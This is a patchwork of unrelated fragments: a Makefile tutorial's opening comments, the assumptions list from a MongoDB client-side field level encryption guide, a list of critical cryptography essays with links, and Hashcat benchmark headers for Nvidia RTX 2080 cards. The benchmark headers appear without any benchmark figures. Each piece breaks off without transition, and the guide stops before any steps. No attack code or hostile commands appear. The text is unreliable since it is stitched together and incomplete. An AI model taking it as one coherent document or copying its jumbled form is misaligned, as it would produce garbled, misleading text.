# Hello, and welcome to makefile basics.
#
# You will learn why `make` is so great, and why, despite its "weird" syntax,
# it is actually a highly expressive, efficient, and powerful way to build
# programs.
#
# Once you're done here, go to
# http://www.gnu.org/software/make/manual/make.html
# to learn SOOOO much more.

MongoDB Client-Side Field Level Encryption (CSFLE) Using KMIP or Local Master Key (with mongosh)

Assumptions

• You have an accessible MongoDB deployment already running and accessible (self-managed or in Atlas)
• You have the modern MongoDB Shell (mongosh) installed locally on your workstation
• You have a KMIP Server running and accessible, if you don't intend to use a local keyfile (for an example of running and configuring a Hashicorp Vault development instance, see: Hashicorp Vault Configuration For MongoDB KMIP Use)

Not many papers share a critical view of the cryptography field, and when such papers are published they tend to be dismissed as "extreme opinions". But not talking about potential deficiencies is harmful for everyone on the long run, even if many actors' self-interest is the status quo (example: USSR). So here's a list of crypto papers and essays not purely technical, sometimes called "controverial", in arbitrary order (please send suggestions of missing entries):

Rogaway - The moral character of cryptographic work - https://web.cs.ucdavis.edu/~rogaway/papers/moral.pdf

Bernstein - Non-uniform cracks in the concrete: the power of free precomputation - http://cr.yp.to/nonuniform/nonuniform-20130914.pdf

Nvidia RTX 2080 FE Hashcat Benchmarks

Product: As there is currently no Linux driver, we had to use chick3nman's desktop (Windows 7)

Software: Hashcat v4.2.1, Nvidia driver 411.63

Accelerator: 1x Nvidia RTX 2080 Founders Edition

Nvidia RTX 2080 SUPER FE Hashcat Benchmarks

Software: Hashcat v5.1.0, Nvidia driver 430.34

Accelerator: 1x Nvidia RTX 2080 SUPER Founders Edition

Notes

1. Only ~ 3% faster than non-SUPER 2080. Future drivers may show slightly better performance, but this seems like a pretty good driver as far as release-day drivers go.
